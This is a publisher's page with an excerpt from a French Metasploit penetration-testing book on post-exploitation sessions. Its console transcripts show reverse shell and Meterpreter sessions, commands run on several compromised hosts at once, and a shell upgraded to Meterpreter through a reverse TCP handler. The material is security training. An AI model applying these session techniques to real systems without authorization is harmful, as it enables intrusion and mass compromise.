Blog ENI : Toute la veille numérique !
En raison d'une opération de maintenance, le site Editions ENI sera inaccessible le mardi 10 décembre, en début de journée. Nous vous invitons à anticiper vos achats. Nous nous excusons pour la gêne occasionnée
En raison d'une opération de maintenance, le site Editions ENI sera inaccessible le mardi 10 décembre, en début de journée. Nous vous invitons à anticiper vos achats. Nous nous excusons pour la gêne occasionnée
  1. Livres et vidéos
  2. Metasploit
  3. Utilisation des sessions
Extrait - Metasploit Testez la sécurité de vos infrastructures (2e edition)
Extraits du livre
Metasploit Testez la sécurité de vos infrastructures (2e edition)
3 avis
Revenir à la page d'achat du livre

Utilisation des sessions

Présentation des sessions

À la suite d’une exploitation réussie, en fonction du payload choisi, il est possible pour un attaquant de disposer d’une connexion entre sa machine et la machine cible. Au sein du framework Metasploit, il s’agit d’une session :

 
msf6 exploit(............)> exploit 
 
[...] 
[*] Command shell session 1 opened (192.168.171.156:43923 -> 
172.16.64.130:4444) at 2019-05-24 16:56:24 +0200 
 
 
msf6 exploit(............) > exploit 
[...] 
[*] Meterpreter session 1 opened (192.248.226.2:4444 -> 
192.248.226.3:47300) at 2019-06-19 17:34:05 +0000 

L’utilisation des sessions peut être particulièrement puissante. En effet, souvent utilisé pour interagir uniquement avec une machine, il est pourtant possible d’exécuter une commande sur plusieurs machines en simultané (parfait pour l’exploitation massive), d’obtenir des informations sur l’une des sessions ou même de transformer un simple shell en un shell Meterpreter.

L’utilisation de la commande session n’est possible qu’AVANT l’exploitation de la vulnérabilité sinon il s’agira d’une autre commande. Pour cela, il est nécessaire de ne pas interagir avec la session nouvellement créée lors de l’exploitation. Cette astuce est possible grâce à...

Listing des sessions et interactions

Une fois les sessions créées grâce aux différents exploits/payloads, il est possible de les lister grâce à la commande sessions. Il est également possible d’utiliser la commande sessions -l qui renvoie exactement le même résultat :

msf6 exploit(multi/http/apprain_upload_exec) > sessions  
 
Active sessions  
===============  
 
 Id  Name  Type                 Information              Connection 
 --  ----  ----                 -----------              ---------- 
 1               meterpreter php/linux   www-data (33) @ victim-1 
192.84.65.2:4444 -> 192.84.65.3:42182 (192.84.65.3) 
 2               meterpreter php/linux   www-data (33) @ victim-1 
 192.84.65.2:4444 -> 192.84.65.3:42552 (192.84.65.3) 
 
msf6 exploit(multi/http/apprain_upload_exec) > sessions...

Gestion des sessions

Dans le cadre d’une exploitation massive, il est probable que de très nombreuses sessions soient ouvertes durant la phase de tests. Même si la commande précédemment mise en avant (sessions -v) permet d’obtenir des détails sur les sessions, il peut devenir difficile de les gérer. Ainsi, pour une meilleure gestion, il est possible de nommer les sessions grâce à la commande sessions -n -i <SESSION_ID> :

msf6 exploit(multi/http/apprain_upload_exec) > sessions -l  
 
Active sessions 
=============== 
 
 Id  Name  Type                   Information         Connection 
 --  ----  ----                   -----------         ---------- 
 1               meterpreter php/linux   www-data (33) @ victim-1 
192.84.65.2:4444 -> 192.84.65.3:42182 (192.84.65.3) 
 2               meterpreter php/linux   www-data (33) @ victim-1 ...

Exploitation massive

Dans le cas où de nombreuses sessions sont actives, il peut être pratique d’exécuter une commande sur de multiples sessions en simultané.

Via les trois commandes abordées ci-après, il est possible de spécifier les sessions sur lesquelles vont s’exécuter les commandes grâce à l’option -i suivie des numéros de sessions. Si cette option n’est pas spécifiée, les commandes seront exécutées sur l’ensemble des sessions par défaut.

Il est ainsi possible d’utiliser différentes commandes :

  • « sessions -c <COMMAND> » pour exécuter des commandes système

msf exploit(handler) > sessions -c 'reg query 
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v ProductName' 
[*] Running 'reg query "HKLM\SOFTWARE\Microsoft\Windows 
NT\CurrentVersion" /v ProductName' on session 1 (192.168.1.138:50441) 
 
! REG.EXE VERSION 3.0  
 
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion 
    ProductName    REG_SZ    Microsoft Windows XP 
 
[*] Running 'reg query "HKLM\SOFTWARE\Microsoft\Windows 
NT\CurrentVersion" /v ProductName' on session 2 (192.168.1.138:54920) 
 
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows...

Vers Meterpreter et au-delà

Obtenir un shell Meterpreter sur une machine cible se rapproche du Saint Graal. Néanmoins, dans certaines exploitations, il n’est pas toujours possible d’obtenir le tant convoité Meterpreter :

msf6 exploit(multi/http/werkzeug_debug_rce) > sessions -l  
 
Active sessions  
===============  
 
 Id  Name  Type                 Information  Connection 
 --  ----  ----                 -----------  ---------- 
 1         shell python/python               192.90.63.2:4444 -> 
192.90.63.3:48162 (192.90.63.3) 

Malgré cela, il reste une possibilité d’obtenir le shell souhaité grâce à la commande sessions -u :

msf6 exploit(multi/http/werkzeug_debug_rce) > sessions -u 1 
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): 
[1] 
 
[!] SESSION may not be compatible with this module. 
[*] Upgrading session ID: 1 
[*] Starting exploit/multi/handler 
[*] Started reverse TCP handler on 192.90.63.2:4433 
[*] Sending...